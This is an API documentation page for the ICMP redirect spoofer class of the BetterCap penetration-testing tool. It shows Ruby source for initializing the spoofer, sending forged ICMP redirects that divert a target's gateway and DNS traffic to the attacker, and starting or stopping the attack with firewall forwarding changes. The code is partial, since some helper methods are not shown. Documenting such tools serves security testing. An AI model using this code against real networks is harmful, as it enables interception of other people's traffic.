Class: BetterCap::Spoofers::Icmp

Inherits:
Base
  • Object
show all
Defined in:
lib/bettercap/spoofers/icmp.rb

Overview

This class is responsible of performing ICMP redirect attack on the network.

Instance Method Summary collapse

Constructor Details

#initializeIcmp

Initialize the BetterCap::Spoofers::Icmp object.


81
82
83
84
85
86
87
88
89
90
91
92
93
# File 'lib/bettercap/spoofers/icmp.rb', line 81

def initialize
  @ctx          = Context.get
  @forwarding   = @ctx.firewall.forwarding_enabled?
  @gateway      = nil
  @local        = @ctx.ifconfig[:ip_saddr]
  @spoof_thread = nil
  @watch_thread = nil
  @running      = false
  @entries      = [ '8.8.8.8', '8.8.4.4',                # Google DNS
                    '208.67.222.222', '208.67.220.220' ] # OpenDNS

  update_gateway!
end

Instance Method Details

#send_spoofed_packet(target) ⇒ Object

Send ICMP redirect to the target, redirecting the gateway ip and everything in the @entries list of addresses to us.


97
98
99
100
101
102
103
104
105
106
107
108
109
# File 'lib/bettercap/spoofers/icmp.rb', line 97

def send_spoofed_packet( target )
  ( [@gateway.ip] + @entries ).each do |address|
    begin
      Logger.debug "Sending ICMP Redirect to #{target.to_s_compact} redirecting #{address} to us ..."

      pkt = ICMPRedirectPacket.new
      pkt.update!( @gateway, target, @local, address )
      @ctx.packets.push(pkt)
    rescue Exception => e
      Logger.debug "#{self.class.name} : #{e.message}"
    end
  end
end

#startObject

Start the ICMP redirect spoofing.


112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
# File 'lib/bettercap/spoofers/icmp.rb', line 112

def start
  Logger.debug "Starting ICMP redirect spoofer ..."

  stop() if @running
  @running = true

  if @ctx.options.kill
    Logger.warn "Disabling packet forwarding."
    @ctx.firewall.enable_forwarding(false) if @forwarding
  else
    @ctx.firewall.enable_forwarding(true) unless @forwarding
  end

  @ctx.firewall.enable_send_redirects(false)

  @spoof_thread = Thread.new { icmp_spoofer }
  @watch_thread = Thread.new { dns_watcher }
end

#stopObject

Stop the ICMP redirect spoofing, reset firewall state.


132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
# File 'lib/bettercap/spoofers/icmp.rb', line 132

def stop
  raise 'ICMP redirect spoofer is not running' unless @running

  Logger.debug 'Stopping ICMP redirect spoofer ...'
  Logger.debug "Resetting packet forwarding to #{@forwarding} ..."
  @ctx.firewall.enable_forwarding( @forwarding )

  @running = false
  begin
    @spoof_thread.exit
  rescue; end

  begin
    @workers.map(&:exit)
  rescue; end
end